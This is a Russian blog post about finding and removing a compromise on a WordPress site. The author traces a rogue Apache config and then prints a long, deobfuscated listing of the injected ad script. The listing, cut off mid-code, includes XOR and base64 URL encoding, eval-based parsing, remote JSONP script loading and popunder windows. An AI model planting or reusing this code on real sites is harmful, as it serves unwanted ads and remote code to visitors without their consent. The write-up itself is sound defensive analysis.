Как злоумышленники использовали сайт в качестве рекламной площадки и как я с этим боролся

в 11:52, , рубрики: apache2, javascript, php, security, UNIX, информационная безопасность, метки: , , , ,

Привет!

Недавно столкнулся с ситуацией взлома сайта на WordPress у своего коллеги. Появилась реклама, которая надоедливо появлялась в углу и собственно мешала полноценной работе. Также не можно было получить доступ к административной панели WordPress, стояла HTTP-авторизация. Первым делом было решено убрать эту HTTP-авторизацию и получить доступ к админке. Если вас заинтересовало как происходил процесс реинжиниринга, прошу под кат.

Предположено было два варианта: или же выполняется вредоносный скрипт в wp-login.php, который выполнял header('WWW-Authenticate'), или же где-то появился левый .htaccess. Второй вариант я отложил на потом, т.к. это значило бы взлом VDS. Поэтому я принялся искать этот вредный header. Залогинившись по ssh на сервер я начал искать все возможные совпадения в структуре проекта по запросу «header('WWW».

grep -rwl header('WWW /var/www/mysite.com.ua

Результат не заставил долго себя ждать и совпадений было найдено аж одно, поэтому я сразу же открыл файл wp-app.php на анализ этого header. Возможен вариант, что именно он и вызывается, блокируя вход в админку. Но это оказалось ложным предположением, код был в порядке и полностью соответствовал коду с чистого WordPress.

Остается второй вариант — .htaccess. И первое что я принялся искать — AuthType. Но где он может быть? Снова выполняем мой любимый grep:

grep -rwl AuthType /var/www/mysite.com.ua

Результат ничего не выдал. Абсолютно. Но где-то он же подключается. Тогда я предположил самый худший вариант — conf.d в настройках apache.
Выполняем:

grep -rwl AuthType /etc/apache2/

И вот оно — файл wp-login.conf. В котором был заданы Rules на HTTP-авторизацию админки. Удаляем этот файл, перезагружаем apache и получаем доступ к админке. Пароли были не изменены, поэтому со входом в админку никаких проблем не возникло.

Одна проблема была решена. Но у нас еще остается проблема с подключением скрипта в тело документа. Подключается он строго в футер документа сразу же после оригинального footer. Поэтому есть смысл поискать команду похожую на эту или эту же:

echo "Evil Script";

Поиск ничего не выдал. Было решено попробовать сравнить каталоги рекурсивно между текущей версией сайта и его бекапом с помощью такой отличной утилиты как Meld. Но и тут нас ждало разочарование — diff был чистым и никаких намеков на выполнение либо каких инлайновых скриптов не было. Но скрипт же подключается. Тогда где и как?

Я принялся анализировать скрипт, который подключается в первую же очередь. Я открыл PhpStorm и создал новый JS-файл. В него скопировал тело скрипта и выполнил Reformat Code. Результат под спойлером:

Evil Script (очень много строк)

var s = void 0, y = !0, z = null, T = !1;
(function (r, k, xb) {
    function bb(a) {
        return/[\"<>.;]/.exec(a) != z && typeof encodeURIComponent != t ? encodeURIComponent(a) : a
    }

    function U(a, b) {
        if (cb) {
            var c = b ? "visible" : "hidden";
            V && J(a) ? J(a).style.visibility = c : db("#" + a, "visibility:" + c)
        }
    }

    function db(a, b, c, d) {
        if (!n.c || !n.R) {
            var e = u.getElementsByTagName("head")[0];
            if (e) {
                c = c && "string" == typeof c ? c : "screen";
                d && (Da = L = z);
                if (!L || Da != c)d = u.createElement("style"), d.setAttribute("type", "text/css"), d.setAttribute("media", c), L = e.appendChild(d), n.c && (n.e && typeof u.styleSheets !=
                    t && 0 < u.styleSheets.length) && (L = u.styleSheets[u.styleSheets.length - 1]), Da = c;
                n.c && n.e ? L && typeof L.addRule == M && L.addRule(a, b) : L && typeof u.createTextNode != t && L.appendChild(u.createTextNode(a + " {" + b + "}"))
            }
        }
    }

    function la(a) {
        var b = n.n;
        a = a.split(".");
        a[0] = parseInt(a[0], 10);
        a[1] = parseInt(a[1], 10) || 0;
        a[2] = parseInt(a[2], 10) || 0;
        return b[0] > a[0] || b[0] == a[0] && b[1] > a[1] || b[0] == a[0] && b[1] == a[1] && b[2] >= a[2] ? y : T
    }

    function J(a) {
        var b = z;
        try {
            b = u.getElementById(a)
        } catch (c) {
        }
        return b
    }

    function eb(a) {
        var b = J(a);
        b && "OBJECT" ==
            b.nodeName && (n.c && n.e ? (b.style.display = "none", function () {
            if (4 == b.readyState) {
                var c = J(a);
                if (c) {
                    for (var d in c)"function" == typeof c[d] && (c[d] = z);
                    c.parentNode.removeChild(c)
                }
            } else setTimeout(arguments.callee, 10)
        }()) : b.parentNode.removeChild(b))
    }

    function Ea(a, b, c) {
        var d, e = J(c);
        if (n.i && 312 > n.i)return d;
        if (e)if (typeof a.id == t && (a.id = c), n.c && n.e) {
            var f = "", p;
            for (p in a)a[p] != Object.prototype[p] && ("data" == p.toLowerCase() ? b.movie = a[p] : "styleclass" == p.toLowerCase() ? f += ' classx3d"' + a[p] + '"' : "classid" != p.toLowerCase() &&
                (f += " " + p + 'x3d"' + a[p] + '"'));
            p = "";
            for (var h in b)b[h] != Object.prototype[h] && (p += 'x3cparam namex3d"' + h + '" valuex3d"' + b[h] + '" /x3e');
            e.outerHTML = 'x3cobject classidx3d"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"' + f + "x3e" + p + "x3c/objectx3e";
            ma[ma.length] = a.id;
            d = J(a.id)
        } else {
            h = u.createElement(M);
            h.setAttribute("type", na);
            for (var j in a)a[j] != Object.prototype[j] && ("styleclass" == j.toLowerCase() ? h.setAttribute("class", a[j]) : "classid" != j.toLowerCase() && h.setAttribute(j, a[j]));
            for (f in b)b[f] != Object.prototype[f] &&
                "movie" != f.toLowerCase() && (a = h, p = f, j = b[f], c = u.createElement("param"), c.setAttribute("name", p), c.setAttribute("value", j), a.appendChild(c));
            e.parentNode.replaceChild(h, e);
            d = h
        }
        return d
    }

    function Fa(a) {
        var b = u.createElement("div");
        if (n.e && n.c)b.innerHTML = a.innerHTML; else if (a = a.getElementsByTagName(M)[0])if (a = a.childNodes)for (var c = a.length, d = 0; d < c; d++)!(1 == a[d].nodeType && "PARAM" == a[d].nodeName) && 8 != a[d].nodeType && b.appendChild(a[d].cloneNode(y));
        return b
    }

    function yb(a) {
        if (n.c && n.e && 4 != a.readyState) {
            var b =
                u.createElement("div");
            a.parentNode.insertBefore(b, a);
            b.parentNode.replaceChild(Fa(a), b);
            a.style.display = "none";
            (function () {
                4 == a.readyState ? a.parentNode.removeChild(a) : setTimeout(arguments.callee, 10)
            })()
        } else a.parentNode.replaceChild(Fa(a), a)
    }

    function Ga(a, b, c, d) {
        oa = y;
        Ha = d || z;
        fb = {success: T, id: c};
        var e = J(c);
        if (e) {
            "OBJECT" == e.nodeName ? (ea = Fa(e), pa = z) : (ea = e, pa = c);
            a.id = gb;
            if (typeof a.width == t || !/%$/.test(a.width) && 310 > parseInt(a.width, 10))a.width = "310";
            if (typeof a.height == t || !/%$/.test(a.height) && 137 >
                parseInt(a.height, 10))a.height = "137";
            u.title = u.title.slice(0, 47) + " - Flash Player Installation";
            d = n.c && n.e ? "ActiveX" : "PlugIn";
            d = "MMredirectURLx3d" + G.location.toString().replace(/&/g, "%26") + "x26MMplayerTypex3d" + d + "x26MMdoctitlex3d" + u.title;
            b.s = typeof b.s != t ? b.s + ("x26" + d) : d;
            n.c && (n.e && 4 != e.readyState) && (d = u.createElement("div"), c += "SWFObjectNew", d.setAttribute("id", c), e.parentNode.insertBefore(d, e), e.style.display = "none", function () {
                4 == e.readyState ? e.parentNode.removeChild(e) : setTimeout(arguments.callee,
                    10)
            }());
            Ea(a, b, c)
        }
    }

    function Ia() {
        return!oa && la("6.0.65") && (n.e || n.R) && !(n.i && 312 > n.i)
    }

    function Ja(a) {
        var b = z;
        if ((a = J(a)) && "OBJECT" == a.nodeName)typeof a.SetVariable != t ? b = a : (a = a.getElementsByTagName(M)[0]) && (b = a);
        return b
    }

    function Ka() {
        var a = P.length;
        if (0 < a)for (var b = 0; b < a; b++) {
            var c = P[b].id, d = P[b].fa, e = {success: T, id: c};
            if (0 < n.n[0]) {
                var f = J(c);
                if (f)if (la(P[b].qa) && !(n.i && 312 > n.i))U(c, y), d && (e.success = y, e.S = Ja(c), d(e)); else if (P[b].O && Ia()) {
                    e = {};
                    e.data = P[b].O;
                    e.width = f.getAttribute("width") || "0";
                    e.height =
                        f.getAttribute("height") || "0";
                    f.getAttribute("class") && (e.jb = f.getAttribute("class"));
                    f.getAttribute("align") && (e.align = f.getAttribute("align"));
                    for (var p = {}, f = f.getElementsByTagName("param"), h = f.length, j = 0; j < h; j++)"movie" != f[j].getAttribute("name").toLowerCase() && (p[f[j].getAttribute("name")] = f[j].getAttribute("value"));
                    Ga(e, p, c, d)
                } else yb(f), d && d(e)
            } else if (U(c, y), d) {
                if ((c = Ja(c)) && typeof c.SetVariable != t)e.success = y, e.S = c;
                d(e)
            }
        }
    }

    function hb(a) {
        if (typeof G.addEventListener != t)G.addEventListener("load",
            a, T); else if (typeof u.addEventListener != t)u.addEventListener("load", a, T); else if (typeof G.attachEvent != t) {
            var b = G;
            b.attachEvent("onload", a);
            Y[Y.length] = [b, "onload", a]
        } else if ("function" == typeof G.onload) {
            var c = G.onload;
            G.onload = function () {
                c();
                a()
            }
        } else G.onload = a
    }

    function ib(a) {
        V ? a() : qa[qa.length] = a
    }

    function Z() {
        if (!V) {
            try {
                var a = u.getElementsByTagName("body")[0].appendChild(u.createElement("span"));
                a.parentNode.removeChild(a)
            } catch (b) {
                return
            }
            V = y;
            for (var a = qa.length, c = 0; c < a; c++)qa[c]()
        }
    }

    function jb(a) {
        return/[\"<>.;]/.exec(a) !=
            z && typeof encodeURIComponent != v ? encodeURIComponent(a) : a
    }

    function W(a, b) {
        if (kb) {
            var c = b ? "visible" : "hidden";
            X && K(a) ? K(a).style.visibility = c : lb("#" + a, "visibility:" + c)
        }
    }

    function lb(a, b, c, d) {
        if (!m.c || !m.R) {
            var e = l.getElementsByTagName("head")[0];
            if (e) {
                c = c && "string" == typeof c ? c : "screen";
                d && (La = N = z);
                if (!N || La != c)d = l.createElement("style"), d.setAttribute("type", "text/css"), d.setAttribute("media", c), N = e.appendChild(d), m.c && (m.e && typeof l.styleSheets != v && 0 < l.styleSheets.length) && (N = l.styleSheets[l.styleSheets.length -
                    1]), La = c;
                m.c && m.e ? N && typeof N.addRule == O && N.addRule(a, b) : N && typeof l.createTextNode != v && N.appendChild(l.createTextNode(a + " {" + b + "}"))
            }
        }
    }

    function ra(a) {
        var b = m.n;
        a = a.split(".");
        a[0] = parseInt(a[0], 10);
        a[1] = parseInt(a[1], 10) || 0;
        a[2] = parseInt(a[2], 10) || 0;
        return b[0] > a[0] || b[0] == a[0] && b[1] > a[1] || b[0] == a[0] && b[1] == a[1] && b[2] >= a[2] ? y : T
    }

    function K(a) {
        var b = z;
        try {
            b = l.getElementById(a)
        } catch (c) {
        }
        return b
    }

    function mb(a) {
        var b = K(a);
        b && "OBJECT" == b.nodeName && (m.c && m.e ? (b.style.display = "none", function () {
            if (4 == b.readyState) {
                var c =
                    K(a);
                if (c) {
                    for (var d in c)"function" == typeof c[d] && (c[d] = z);
                    c.parentNode.removeChild(c)
                }
            } else setTimeout(arguments.callee, 10)
        }()) : b.parentNode.removeChild(b))
    }

    function Ma(a, b, c) {
        var d, e = K(c);
        if (m.i && 312 > m.i)return d;
        if (e)if (typeof a.id == v && (a.id = c), m.c && m.e) {
            var f = "", p;
            for (p in a)a[p] != Object.prototype[p] && ("data" == p.toLowerCase() ? b.movie = a[p] : "styleclass" == p.toLowerCase() ? f += ' classx3d"' + a[p] + '"' : "classid" != p.toLowerCase() && (f += " " + p + 'x3d"' + a[p] + '"'));
            p = "";
            for (var h in b)b[h] != Object.prototype[h] &&
            (p += 'x3cparam namex3d"' + h + '" valuex3d"' + b[h] + '" /x3e');
            e.outerHTML = 'x3cobject classidx3d"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"' + f + "x3e" + p + "x3c/objectx3e";
            sa[sa.length] = a.id;
            d = K(a.id)
        } else {
            h = l.createElement(O);
            h.setAttribute("type", ta);
            for (var j in a)a[j] != Object.prototype[j] && ("styleclass" == j.toLowerCase() ? h.setAttribute("class", a[j]) : "classid" != j.toLowerCase() && h.setAttribute(j, a[j]));
            for (f in b)b[f] != Object.prototype[f] && "movie" != f.toLowerCase() && (a = h, p = f, j = b[f], c = l.createElement("param"),
                c.setAttribute("name", p), c.setAttribute("value", j), a.appendChild(c));
            e.parentNode.replaceChild(h, e);
            d = h
        }
        return d
    }

    function Na(a) {
        var b = l.createElement("div");
        if (m.e && m.c)b.innerHTML = a.innerHTML; else if (a = a.getElementsByTagName(O)[0])if (a = a.childNodes)for (var c = a.length, d = 0; d < c; d++)!(1 == a[d].nodeType && "PARAM" == a[d].nodeName) && 8 != a[d].nodeType && b.appendChild(a[d].cloneNode(y));
        return b
    }

    function zb(a) {
        if (m.c && m.e && 4 != a.readyState) {
            var b = l.createElement("div");
            a.parentNode.insertBefore(b, a);
            b.parentNode.replaceChild(Na(a),
                b);
            a.style.display = "none";
            (function () {
                4 == a.readyState ? a.parentNode.removeChild(a) : setTimeout(arguments.callee, 10)
            })()
        } else a.parentNode.replaceChild(Na(a), a)
    }

    function Oa(a, b, c, d) {
        ua = y;
        Pa = d || z;
        nb = {success: T, id: c};
        var e = K(c);
        if (e) {
            "OBJECT" == e.nodeName ? (fa = Na(e), va = z) : (fa = e, va = c);
            a.id = ob;
            if (typeof a.width == v || !/%$/.test(a.width) && 310 > parseInt(a.width, 10))a.width = "310";
            if (typeof a.height == v || !/%$/.test(a.height) && 137 > parseInt(a.height, 10))a.height = "137";
            l.title = l.title.slice(0, 47) + " - Flash Player Installation";
            d = m.c && m.e ? "ActiveX" : "PlugIn";
            d = "MMredirectURLx3d" + H.location.toString().replace(/&/g, "%26") + "x26MMplayerTypex3d" + d + "x26MMdoctitlex3d" + l.title;
            b.s = typeof b.s != v ? b.s + ("x26" + d) : d;
            m.c && (m.e && 4 != e.readyState) && (d = l.createElement("div"), c += "SWFObjectNew", d.setAttribute("id", c), e.parentNode.insertBefore(d, e), e.style.display = "none", function () {
                4 == e.readyState ? e.parentNode.removeChild(e) : setTimeout(arguments.callee, 10)
            }());
            Ma(a, b, c)
        }
    }

    function Qa() {
        return!ua && ra("6.0.65") && (m.e || m.R) && !(m.i && 312 > m.i)
    }

    function Ra(a) {
        var b = z;
        if ((a = K(a)) && "OBJECT" == a.nodeName)typeof a.SetVariable != v ? b = a : (a = a.getElementsByTagName(O)[0]) && (b = a);
        return b
    }

    function Sa() {
        var a = Q.length;
        if (0 < a)for (var b = 0; b < a; b++) {
            var c = Q[b].id, d = Q[b].fa, e = {success: T, id: c};
            if (0 < m.n[0]) {
                var f = K(c);
                if (f)if (ra(Q[b].qa) && !(m.i && 312 > m.i))W(c, y), d && (e.success = y, e.S = Ra(c), d(e)); else if (Q[b].O && Qa()) {
                    e = {};
                    e.data = Q[b].O;
                    e.width = f.getAttribute("width") || "0";
                    e.height = f.getAttribute("height") || "0";
                    f.getAttribute("class") && (e.jb = f.getAttribute("class"));
                    f.getAttribute("align") && (e.align = f.getAttribute("align"));
                    for (var p = {}, f = f.getElementsByTagName("param"), h = f.length, j = 0; j < h; j++)"movie" != f[j].getAttribute("name").toLowerCase() && (p[f[j].getAttribute("name")] = f[j].getAttribute("value"));
                    Oa(e, p, c, d)
                } else zb(f), d && d(e)
            } else if (W(c, y), d) {
                if ((c = Ra(c)) && typeof c.SetVariable != v)e.success = y, e.S = c;
                d(e)
            }
        }
    }

    function pb(a) {
        if (typeof H.addEventListener != v)H.addEventListener("load", a, T); else if (typeof l.addEventListener != v)l.addEventListener("load", a, T); else if (typeof H.attachEvent !=
            v) {
            var b = H;
            b.attachEvent("onload", a);
            aa[aa.length] = [b, "onload", a]
        } else if ("function" == typeof H.onload) {
            var c = H.onload;
            H.onload = function () {
                c();
                a()
            }
        } else H.onload = a
    }

    function qb(a) {
        X ? a() : wa[wa.length] = a
    }

    function ba() {
        if (!X) {
            try {
                var a = l.getElementsByTagName("body")[0].appendChild(l.createElement("span"));
                a.parentNode.removeChild(a)
            } catch (b) {
                return
            }
            X = y;
            for (var a = wa.length, c = 0; c < a; c++)wa[c]()
        }
    }

    function E(a, b) {
        function c() {
        }

        c.prototype = b.prototype;
        a.prototype = new c;
        a.prototype.constructor = a;
        a.nb = b.prototype;
        b.prototype.constructor == Object.prototype.constructor && (b.prototype.constructor = b)
    }

    function rb(a) {
        this.a = g.parseJSON(g.L(a));
        r.globalInfo = {};
        g.log(this.a);
        if (this.a.ukDomain && this.a.ukUri && !r.udata && !this.a.dontGoToUK) {
            var b = this, c = setTimeout(function () {
                b.oa()
            }, 5E3);
            g.da(this.a.ukDomain, this.a.ukUri, function (a) {
                clearTimeout(c);
                g.parseJSON(g.L(a));
                r.globalInfo.udata = a;
                b.oa()
            }, "jsf")
        } else this.a.foreignUid || this.Ba(this.a.matchingUrl), this.oa()
    }

    function sb() {
    }

    function I() {
    }

    function xa() {
    }

    function Ta() {
    }

    function Ua() {
    }

    function Va() {
    }

    function ca() {
    }

    function Wa() {
    }

    function ya() {
    }

    function Xa() {
    }

    function Ya() {
    }

    function da() {
    }

    function ga() {
    }

    function Za() {
    }

    var v = "undefined", O = "object", ta = "application/x-shockwave-flash", ob = "SWFObjectExprInst", H = r, l = k, R = navigator, tb = T, wa = [function () {
        if (tb) {
            var a = l.getElementsByTagName("body")[0], b = l.createElement(O);
            b.setAttribute("type", ta);
            var c = a.appendChild(b);
            if (c) {
                var d = 0;
                (function () {
                    if (typeof c.GetVariable != v) {
                        var e = c.GetVariable("$version");
                        e && (e = e.split(" ")[1].split(","),
                            m.n = [parseInt(e[0], 10), parseInt(e[1], 10), parseInt(e[2], 10)])
                    } else if (10 > d) {
                        d++;
                        setTimeout(arguments.callee, 10);
                        return
                    }
                    a.removeChild(b);
                    c = z;
                    Sa()
                })()
            } else Sa()
        } else Sa()
    }], Q = [], sa = [], aa = [], fa, va, Pa, nb, X = T, ua = T, N, La, kb = y, m, Ab = typeof l.getElementById != v && typeof l.getElementsByTagName != v && typeof l.createElement != v, za = R.userAgent.toLowerCase(), Aa = R.platform.toLowerCase(), Bb = Aa ? /win/.test(Aa) : /win/.test(za), Cb = Aa ? /mac/.test(Aa) : /mac/.test(za), Db = /webkit/.test(za) ? parseFloat(za.replace(/^.*webkit/(d+(.d+)?).*$/,
        "$1")) : T, $a = !+"v1", ha = [0, 0, 0], C = z;
    if (typeof R.plugins != v && typeof R.plugins["Shockwave Flash"] == O) {
        if ((C = R.plugins["Shockwave Flash"].description) && !(typeof R.mimeTypes != v && R.mimeTypes[ta] && !R.mimeTypes[ta].enabledPlugin))tb = y, $a = T, C = C.replace(/^.*s+(S+s+S+$)/, "$1"), ha[0] = parseInt(C.replace(/^(.*)..*$/, "$1"), 10), ha[1] = parseInt(C.replace(/^.*.(.*)s.*$/, "$1"), 10), ha[2] = /[a-zA-Z]/.test(C) ? parseInt(C.replace(/^.*[a-zA-Z]+(.*)$/, "$1"), 10) : 0
    } else if (typeof H.ActiveXObject != v)try {
        var ub = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
        if (ub && (C = ub.GetVariable("$version")))$a = y, C = C.split(" ")[1].split(","), ha = [parseInt(C[0], 10), parseInt(C[1], 10), parseInt(C[2], 10)]
    } catch (Ub) {
    }
    m = {j: Ab, n: ha, i: Db, c: $a, e: Bb, R: Cb};
    m.j && ((typeof l.readyState != v && "complete" == l.readyState || typeof l.readyState == v && (l.getElementsByTagName("body")[0] || l.body)) && ba(), X || (typeof l.addEventListener != v && l.addEventListener("DOMContentLoaded", ba, T), m.c && m.e && (l.attachEvent("onreadystatechange", function () {
        "complete" == l.readyState && (l.detachEvent("onreadystatechange",
            arguments.callee), ba())
    }), H == top && function () {
        if (!X) {
            try {
                l.La.doScroll("left")
            } catch (a) {
                setTimeout(arguments.callee, 0);
                return
            }
            ba()
        }
    }()), m.i && function () {
        X || (/loaded|complete/.test(l.readyState) ? ba() : setTimeout(arguments.callee, 0))
    }(), pb(ba)));
    m.c && m.e && r.attachEvent("onunload", function () {
        for (var a = aa.length, b = 0; b < a; b++)aa[b][0].detachEvent(aa[b][1], aa[b][2]);
        a = sa.length;
        for (b = 0; b < a; b++)mb(sa[b]);
        for (var c in m)m[c] = z;
        m = z;
        for (var d in g.w)g.w[d] = z;
        g.w = z
    });
    sb.prototype = {Y: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_",
        U: "left:-10000px;top:-10000px;height:1px;width:1px;position:absolute;", Q: function () {
            return!r.addEventListener && !r.XMLHttpRequest && r.attachEvent
        }, v: function () {
            if ("BackCompat" == k.compatMode && 10 > g.Xa())return T;
            var a = k.createElement("div");
            a.style.cssText = "position:fixed";
            return a.style.position.match("fixed") ? y : T
        }, Ya: function (a) {
            a.matchUrl && (this.X(a.matchUrl).style.cssText = this.U)
        }, ga: function (a) {
            if (0 == a.limit && 0 == a.period)return y;
            if (this.la(a.periodName) == z) {
                var b = parseInt(this.la(a.limitName));
                if (0 == a.limit || isNaN(b) || b < a.limit)return y
            }
            return T
        }, Xa: function () {
            var a = 999;
            -1 != navigator.appVersion.indexOf("MSIE") && (a = parseFloat(navigator.appVersion.split("MSIE")[1]));
            return a
        }, Ea: function (a) {
            var b = new Date, c = parseInt(this.la(a.limitName), 10), c = isNaN(c) ? 1 : c + 1;
            b.setTime(b.getTime() + 6E4 * parseInt(a.period, 10));
            this.ra(a.periodName, 1, b, "/");
            b.setTime(b.getTime() + 432E5);
            this.ra(a.limitName, c, b, "/")
        }, ra: function (a, b) {
            var c = arguments, d = c.length, e = 2 < d ? c[2] : z, f = 3 < d ? c[3] : z, p = 4 < d ? c[4] : z;
            k.cookie = a + "x3d" +
                encodeURIComponent(b) + (e == z ? "" : "; expiresx3d" + e.toGMTString()) + (f == z ? "" : "; pathx3d" + f) + (p == z ? "" : "; domainx3d" + p) + ((5 < d ? c[5] : T) == y ? "; secure" : "")
        }, pa: function () {
            var a, b = k.createElement("div"), c = ["Khtml", "Ms", "O", "Moz", "Webkit"], d = c.length;
            a = function (a) {
                if (a in b.style)return y;
                for (a = a.replace(/^[a-z]/, function (a) {
                    return a.toUpperCase()
                }); d--;)if (c[d] + a in b.style)return y;
                return T
            };
            return a("boxShadow") && a("borderRadius")
        }, log: function () {
        }, la: function (a) {
            var b = " " + k.cookie;
            a = " " + a + "x3d";
            var c =
                z, d = 0, e = 0;
            0 < b.length && (d = b.indexOf(a), -1 != d && (d += a.length, e = -1 == b.indexOf(";", d) ? b.length : b.indexOf(";", d), c = decodeURIComponent(b.substring(d, e))));
            return c
        }, Na: function (a, b) {
            var c = "", d = "", e, f, p, h, j, g = 0;
            b &= 255;
            a = this.mb(a);
            for (f = 0; f < a.length; d += String.fromCharCode(b ^ a.charCodeAt(f)), f++);
            for (a = d; g < a.length;)e = a.charCodeAt(g++), d = a.charCodeAt(g++), f = a.charCodeAt(g++), p = e >> 2, e = (e & 3) << 4 | d >> 4, h = (d & 15) << 2 | f >> 6, j = f & 63, isNaN(d) ? h = j = 64 : isNaN(f) && (j = 64), c = c + this.Y.charAt(p) + this.Y.charAt(e) + this.Y.charAt(h) +
                this.Y.charAt(j);
            return c
        }, L: function (a, b) {
            a = a.replace(/[-]/g, "+").replace(/[_]/g, "/");
            for (var c = [-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, 0, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1], d, e, f = 0, g = [], h = 0, j = 0, f = 0; f < a.length; f++)e =
                a.charCodeAt(f), d = c[e & 127], -1 === d ? this.log("Illegal characters (codex3d" + e + ") in position " + f) : (j = j << 6 | d, h += 6, 8 <= h && (h -= 8, "x3d" !== a.charAt(f) && g.push(j >> h & 255), j &= (1 << h) - 1));
            if (b) {
                c = [];
                b &= 255;
                for (d = 0; d < g.length; c.push(b ^ g[d]), d++);
                g = c
            }
            return this.lb(g)
        }, lb: function (a) {
            for (var b = [], c = 0, d = a.length, e, f, g; c < d;)e = a[c], f = a[c + 1], g = a[c + 2], 128 > e ? (b.push(String.fromCharCode(e)), c += 1) : 191 < e && 224 > e ? (b.push(String.fromCharCode((e & 31) << 6 | f & 63)), c += 2) : (b.push(String.fromCharCode((e & 15) << 12 | (f & 63) << 6 | g & 63)), c +=
                3);
            return b.join("")
        }, mb: function (a) {
            a = a.replace(/rn/g, "n");
            for (var b = "", c = 0; c < a.length; c++) {
                var d = a.charCodeAt(c);
                128 > d ? b += String.fromCharCode(d) : (127 < d && 2048 > d ? b += String.fromCharCode(d >> 6 | 192) : (b += String.fromCharCode(d >> 12 | 224), b += String.fromCharCode(d >> 6 & 63 | 128)), b += String.fromCharCode(d & 63 | 128))
            }
            return b
        }, ma: function (a, b, c, d) {
            var e = navigator.userAgent.toLowerCase();
            -1 != e.indexOf("safari") && -1 == e.indexOf("chrome") && (d = d || "widthx3d" + r.screen.width + ",heightx3d" + r.screen.height + ",leftx3d0,topx3d0,menubarx3dno,locationx3dno,resizablex3dyes,scrollbarsx3dyes,statusx3dno");
            a = r.open(a, c || "", d);
            b || (a.blur(), r.focus())
        }, g: function (a) {
            var b = +new Date % 1E6;
            return"/?" + b + "x3d" + this.Na(a.replace("/?", ""), b)
        }, w: {eb: function (a, b, c, d) {
            if (m.j && a && b) {
                var e = {};
                e.id = a;
                e.qa = b;
                e.O = c;
                e.fa = d;
                Q[Q.length] = e;
                W(a, T)
            } else d && d({success: T, id: a})
        }, Sa: function (a) {
            if (m.j)return Ra(a)
        }, N: function (a, b, c, d, e, f, g, h, j, k) {
            var A = {success: T, id: b};
            m.j && !(m.i && 312 > m.i) && a && b && c && d && e ? (W(b, T), qb(function () {
                c += "";
                d += "";
                var q = {};
                if (j && typeof j === O)for (var B in j)q[B] = j[B];
                q.data = a;
                q.width = c;
                q.height = d;
                B = {};
                if (h && typeof h === O)for (var r in h)B[r] = h[r];
                if (g && typeof g === O)for (var F in g)B.s = typeof B.s != v ? B.s + ("x26" + F + "x3d" + g[F]) : F + "x3d" + g[F];
                if (ra(e))r = Ma(q, B, b), q.id == b && W(b, y), A.success = y, A.S = r; else {
                    if (f && Qa()) {
                        q.data = f;
                        Oa(q, B, b, k);
                        return
                    }
                    W(b, y)
                }
                k && k(A)
            })) : k && k(A)
        }, kb: function () {
            kb = T
        }, W: m, Ra: function () {
            return{$a: m.n[0], bb: m.n[1], fb: m.n[2]}
        }, va: ra, Ka: function (a, b, c) {
            if (m.j)return Ma(a, b, c)
        }, hb: function (a, b, c, d) {
            m.j && Qa() && Oa(a, b, c, d)
        }, gb: function (a) {
            m.j && mb(a)
        }, Ja: function (a, b, c, d) {
            m.j && lb(a, b, c, d)
        },
            Fa: qb, Ha: pb, Ta: function (a) {
                var b = l.location.search || l.location.hash;
                if (b) {
                    /?/.test(b) && (b = b.split("?")[1]);
                    if (a == z)return jb(b);
                    for (var b = b.split("x26"), c = 0; c < b.length; c++)if (b[c].substring(0, b[c].indexOf("x3d")) == a)return jb(b[c].substring(b[c].indexOf("x3d") + 1))
                }
                return""
            }, Pa: function () {
                if (ua) {
                    var a = K(ob);
                    a && fa && (a.parentNode.replaceChild(fa, a), va && (W(va, y), m.c && m.e && (fa.style.display = "block")), Pa && Pa(nb));
                    ua = T
                }
            }}, parseJSON: function (a) {
            return eval("(" + a + ")")
        }, da: function (a, b, c, d) {
            d = d || "jclb";
            if (c) {
                var e = "jsonp" + String(Math.random()).slice(4);
                b += "x26" + d + "x3dwindow." + e;
                r[e] = function (a) {
                    scriptOk = y;
                    r[e] = s;
                    try {
                        delete r[e]
                    } catch (b) {
                    }
                    g.log("Callback called");
                    c(a)
                }
            }
            b = this.g(b);
            d = this.z("script");
            d.src = a + b;
            return d
        }, X: function (a, b) {
            var c = this.z("img", b);
            c.src = a;
            return c
        }, Ga: function (a, b) {
            var c = this.z("iframe", b);
            c.src = a;
            return c
        }, z: function (a, b) {
            var c = k.createElement(a);
            b ? b.appendChild(c) : k.body.appendChild(c);
            return c
        }, Va: function () {
            var a = 0, b = 0;
            r.screen ? (b = r.screen.width, a = r.screen.height) :
                r.Za && (a = r.Za.awt.Toolkit.getDefaultToolkit().getScreenSize(), b = a.width, a = a.height);
            return"x26widthx3d" + b + "x26heightx3d" + a
        }, aa: function (a) {
            function b() {
                return self.innerHeight ? self.innerHeight : k.documentElement && k.documentElement.clientHeight ? k.documentElement.clientHeight : k.body ? k.body.clientHeight : 600
            }

            function c() {
                var a = 0, b = 0;
                if ("number" == typeof r.pageYOffset)b = r.pageYOffset, a = r.pageXOffset; else if (k.body && (k.body.scrollLeft || k.body.scrollTop))b = k.body.scrollTop, a = k.body.scrollLeft; else if (k.documentElement &&
                    (k.documentElement.scrollLeft || k.documentElement.scrollTop))b = k.documentElement.scrollTop, a = k.documentElement.scrollLeft;
                return[a, b]
            }

            switch (a.type) {
                case "top":
                    a.F.style.top = c()[1] + "px";
                    break;
                case "center":
                    a.F.style.top = b() / 2 + c()[1] - a.F.offsetHeight + "px";
                    break;
                default:
                    a.F.style.top = b() + c()[1] - a.F.offsetHeight + "px"
            }
        }, Ua: function (a) {
            return k.referrer && -1 == a.indexOf("x26refx3d") ? "x26refx3d" + encodeURIComponent(k.referrer) : ""
        }, Oa: function (a, b) {
            return-1 !== a.indexOf(b, a.length - b.length)
        }, k: function () {
            var a =
